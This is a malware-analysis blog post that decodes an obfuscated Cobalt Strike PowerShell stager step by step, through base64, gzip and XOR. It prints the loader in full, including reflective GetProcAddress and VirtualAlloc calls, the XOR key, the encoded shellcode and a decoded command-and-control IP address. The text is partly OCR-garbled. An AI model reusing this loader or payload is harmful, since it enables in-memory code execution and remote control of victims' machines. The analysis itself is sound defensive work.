Cobalt Strike: Find the Beacon

This artifact of obfuscated code was recently found in someone's environment, somewhere. I had the opportunity to pick at it for a few minutes. The results are consistent, whether I practice most of it at the command line or use GUI tools like the venerable Cyber Chef. I like to practice with both...

Below is the first decoding phase:

sansforensics@siftworkstation: base64 -d Desktop/cases/cobalt strike/cb c2 | tee Desktop/cases/cobalt strike/cb decoded \$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAAK1X63OiShb/HP8KPq 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 Aw4AAA=="));IEX (New-Object IO.StreamReader<mark>(New-Object IO.Compression.GzipStream(</mark>\$s,[IO.Co npression.CompressionMode]::Decompress))).ReadToEnd();

The first line of the decoded string appears to be PowerShell. The main body appears to be base64-encoded. The last argument hints at the possibility that a string(s) will be compressed with Gzip.

I copied the base64-encoded body of strings (with the "/" separators) to a new file "cb_decoded-1_b64.txt" for further investigation. Trying to decode the original output file "cb_decoded-1.txt" will throw errors, since parts of the file are not encoded.

Sure enough, trying to decode base64 alone yields an output that strongly resembles compression:

I used gunzip to decode that output and create "cb_decoded-2-gunzipped.txt" to represent the second de-obfuscation artifact.

First half:

```
sansforensics@siftworkstation:
$ base64 -d Desktop/cases/cobalt_strike/cb_decoded-1_b64.txt | gunzip -d | tee Desktop/cas
es/cobalt_strike/cb_decoded-2-gunzipped.txt
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
         Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-0
bject { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).Ge
tType('Microsoft.Win32.UnsafeNativeMethods')
         $var gpa = $var unsafe native methods.GetMethod('GetProcAddress', [Type[]] @('Syst
em.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Obj
ect System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_meth
ods.GetMethod('GetModuleHandle')).Invoke($null, @($var module)))), $var procedure))
function func_get_delegate_type {
         Param (
                   [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                   [Parameter(Position = 1)] [Type] $var_return_type = [Void]
         $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object S
ystem.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType',
 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$\text{$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Re]}}
flection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime,
Managed')
         $var type builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $v
ar_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
         return $var type builder.CreateType()
```

Second half:


```
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJ
RpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQb
w1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJN
z2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJ1HJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFw
cXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUs0JTtY3Pam4yyn6SIjIxLcptVXJ6rayC
pLiebBftz2quJLZqJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDGRm
WnQjVupfMgOCi77Vr9FL/8/s0M3uBbCPN8UgjkkAhP08GTMwtAEacA8s+Vs3w0P+v0byX1BDBo8R1IgAtOgrkqmsS9
qNL6fLeBWpAiN2UEZRDmJERk1XGQNuTFlKT09CDBYNEWMLdEpNR0xUUANtdwMVDRIYA3RsdBUXGAN3UUpHRk1XDBQN
ExgDUVUZEhINEwoDT0pIRgNkRkBITC4pI55Y0YJEkDeTlw1yPznynMsfE+HEwD1W0mhv7x8Q7i4eyckD008N2q/ajD
b5jKowVhAlg3v+SilrYXBJG1+CrsKkXpWxNlAe0/WbKuM5YhqxqHbUW+xtSyTPPUWrfesMIyGVxlDDiwoUr6xEXGMW
iXM7SfavhCS5gAbglhgwQyo37yH2oWKOPvkHdA8lef9S1HbMWtCBdrmOXT9ocn+RA7JSH7zU+kNA2p9g9FXqNiNYdn
XDX0NuwnuNUsyPW6zMhX3sWybY9tbJ0IBL9Rlc1nrY0rjoeunZufqc1/QjS90WgXXc9kljSyMzIyNLIyNjI3RLe4dw
xtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BESFQ0SFhYNEhAWDRISEiNzBJ
for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
$var va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func ge
: proc address kernel32.dll VirtualAlloc), (func get delegate type @([IntPtr], [UInt32], [
UInt32], [UInt32]) ([IntPtr]))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length
$var runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var
buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
        IEX $DoIt
```

Note that the journey is not complete. You can see another base64-encoded module in the second screenshot of the output, directly above.

The following argument is a "for" loop that indicates the preceding module is XOR-encoded. I copied the encoded module to a new file "cb_decoded-2-gunzipped_b64-xor.txt" for the next phase of de-obfuscation.

I have not found an XOR decoding solution for BASH, so this portion remains incomplete.

For the time being, I attempted another base64 decode with Cyber Chef and redirected the output using the given XOR key to finish decoding it.



```
⇑
                                         length:
 Output
üè....`.å1Òd.R0.R..R..r(..J&1ÿ1À¬<a|., ÁÏ
.ÇâðRW.R..B<.Đ.@x.ÀtJ.ĐP.H..X .Óã<I.4..Ö1ÿ1À¬ÁÏ
.Ç8àuô.}
ø;}$uâX.X$.Óf..K.X..Ó....Ð.D$$[[aYZQÿàX_Z..ë.]hnet.hwiniThLw&.ÿÕè....1ÿWWWWWh
:Vy§ÿÕé¤...[1ÉQQj.QQh»...SPhW.ÆÿÕPé....
[1ÒRh.2À.RRRSRPhëU.;ÿÕ.Æ.ÃPh.3...àj.Pj.VhuF..ÿÕ_1ÿWWjÿSVh-..
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Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
.%{ò¡g³.°´.Q..Ñ¿è<0Âçã.u.KLÌ<3Í
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HBSj8|¡.á.}¶..s=δÖ, À.A9..U÷xÏNh.ì.f.^È/..¶åsà¨)7..g.@5ªP.jÕ.§..£%Ãμ;.`
.Ì.Õ.A..Ú$W,.ZÜq÷Uïyó¢U..~.KQ\² .q<.÷Ù`cù¼C×vÉ..{UVà|`MáX®qï¬x.ï¦^Ïx.ûÕõê.
£hÖ:.õYûñ.ËYÊú.Ù¿ôx.hðµ¢VÿÕj@h....h..@.WhX¤SåÿÕ.¹.....ÙQS.çWh.
..SVh...âÿÕ.ÀtÆ...Ã.ÀuåXÃè.ýÿÿ216.155.135.111
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